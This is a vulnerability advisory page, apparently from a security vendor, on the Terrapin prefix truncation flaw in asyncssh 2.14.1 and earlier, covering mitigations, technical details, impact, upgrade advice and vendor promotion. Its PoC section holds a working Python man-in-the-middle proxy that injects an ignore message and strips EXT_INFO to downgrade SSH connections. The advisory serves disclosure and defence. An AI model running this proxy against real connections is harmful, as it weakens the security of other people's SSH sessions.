GHSA-HFMC-7525-MJ55

GHSA-HFMC-7525-MJ55 is a medium-severity security vulnerability in asyncssh (pip), affecting versions <= 2.14.1. It is fixed in 2.14.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

AsyncSSH vulnerable to Prefix Truncation Attack (a.k.a. Terrapin Attack) against ChaCha20-Poly1305 and Encrypt-then-MAC

AsyncSSH v2.14.1 and earlier is vulnerable to a novel prefix truncation attack (a.k.a. Terrapin attack), which allows a man-in-the-middle attacker to strip an arbitrary number of messages right after the initial key exchange, breaking SSH extension negotiation (RFC8308) in the process and thus downgrading connection security.

Mitigations

To mitigate this protocol vulnerability, OpenSSH suggested a so-called "strict kex" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes. Support for strict key exchange has been added to AsyncSSH in the patched version.

Warning: To take effect, both the client and server must support this countermeasure.

As a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.

Details

The SSH specifications of ChaCha20-Poly1305 ([email protected]) and Encrypt-then-MAC (*[email protected] MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.

The attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.

In the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.

For more details and a pre-print of the associated research paper, see https://terrapin-attack.com. This website is not affiliated with AsyncSSH in any way.

PoC

Extension Negotiation Downgrade Attack ([email protected])
#!/usr/bin/python3
import socket
from binascii import unhexlify
from threading import Thread
from time import sleep

#####################################################################################
## Proof of Concept for the extension downgrade attack                             ##
##                                                                                 ##
## Variant: ChaCha20-Poly1305                                                      ##
##                                                                                 ##
## Client(s) tested: OpenSSH 9.5p1 / PuTTY 0.79                                    ##
## Server(s) tested: OpenSSH 9.5p1                                                 ##
##                                                                                 ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
#####################################################################################

# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222

# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22

LENGTH_FIELD_LENGTH = 4

def pipe_socket_stream(in_socket, out_socket):
  try:
      while True:
          data = in_socket.recv(4096)
          if len(data) == 0:
              break
          out_socket.send(data)
  except ConnectionResetError:
      print("[!] Socket connection has been reset. Closing sockets.")
  except OSError:
      print("[!] Sockets closed by another thread. Terminating pipe_socket_stream thread.")
  in_socket.close()
  out_socket.close()

rogue_msg_ignore = unhexlify('0000000C060200000000000000000000')
def perform_attack(client_socket, server_socket):
  # Version exchange
  client_vex = client_socket.recv(255)
  server_vex = server_socket.recv(255)
  client_socket.send(server_vex)
  server_socket.send(client_vex)
  # SSH_MSG_KEXINIT
  client_kexinit = client_socket.recv(35000)
  server_kexinit = server_socket.recv(35000)
  client_socket.send(server_kexinit)
  server_socket.send(client_kexinit)
  # Client will now send the key exchange INIT
  client_kex_init = client_socket.recv(35000)
  server_socket.send(client_kex_init)
  # Insert ignore message (to client)
  client_socket.send(rogue_msg_ignore)
  # Wait half a second here to avoid missing EXT_INFO
  # Can be solved by counting bytes as well
  sleep(0.5)
  # KEX_REPLY / NEW_KEYS / EXT_INFO
  server_response = server_socket.recv(35000)
  # Strip EXT_INFO before forwarding server_response to client
  # Length fields of KEX_REPLY and NEW_KEYS are still unencrypted
  server_kex_reply_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[:LENGTH_FIELD_LENGTH])
  server_newkeys_start = server_kex_reply_length
  server_newkeys_length = LENGTH_FIELD_LENGTH + int.from_bytes(server_response[server_newkeys_start:server_newkeys_start + LENGTH_FIELD_LENGTH])
  server_extinfo_start = server_newkeys_start + server_newkeys_length
  client_socket.send(server_response[:server_extinfo_start])

if __name__ == '__main__':
  print("--- Proof of Concept for extension downgrade attack (ChaCha20-Poly1305) ---")
  mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  mitm_socket.bind((PROXY_IP, PROXY_PORT))
  mitm_socket.listen(5)

  print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
  try:
      while True:
          client_socket, client_addr = mitm_socket.accept()
          print(f"[+] Accepted connection from: {client_addr}")
          print(f"[+] Establishing new target connection to {(SERVER_IP, SERVER_PORT)}.")
          server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          server_socket.connect((SERVER_IP, SERVER_PORT))
          print("[+] Performing extension downgrade")
          perform_attack(client_socket, server_socket)
          print("[+] Downgrade performed. Spawning new forwarding threads to handle client connection from now on.")
          forward_client_to_server_thread = Thread(target=pipe_socket_stream, args=(client_socket, server_socket), daemon=True)
          forward_client_to_server_thread.start()
          forward_server_to_client_thread = Thread(target=pipe_socket_stream, args=(server_socket, client_socket), daemon=True)
          forward_server_to_client_thread.start()
  except KeyboardInterrupt:
      client_socket.close()
      server_socket.close()
      mitm_socket.close()

Impact

This attack targets the specification of ChaCha20-Poly1305 ([email protected]) and Encrypt-then-MAC (*[email protected]), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.

GHSA-HFMC-7525-MJ55 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.2); upgrading removes the vulnerable code path.

Affected versions

asyncssh (<= 2.14.1)

Security releases

asyncssh → 2.14.2 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade asyncssh to 2.14.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-HFMC-7525-MJ55? GHSA-HFMC-7525-MJ55 is a medium-severity security vulnerability in asyncssh (pip), affecting versions <= 2.14.1. It is fixed in 2.14.2.
  2. How severe is GHSA-HFMC-7525-MJ55? GHSA-HFMC-7525-MJ55 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of asyncssh are affected by GHSA-HFMC-7525-MJ55? asyncssh (pip) versions <= 2.14.1 is affected.
  4. Is there a fix for GHSA-HFMC-7525-MJ55? Yes. GHSA-HFMC-7525-MJ55 is fixed in 2.14.2. Upgrade to this version or later.
  5. Is GHSA-HFMC-7525-MJ55 exploitable, and should I be worried? Whether GHSA-HFMC-7525-MJ55 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-HFMC-7525-MJ55 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-HFMC-7525-MJ55? Upgrade asyncssh to 2.14.2 or later.

Other vulnerabilities in asyncssh

Stop the waste.
Protect your environment with Kodem.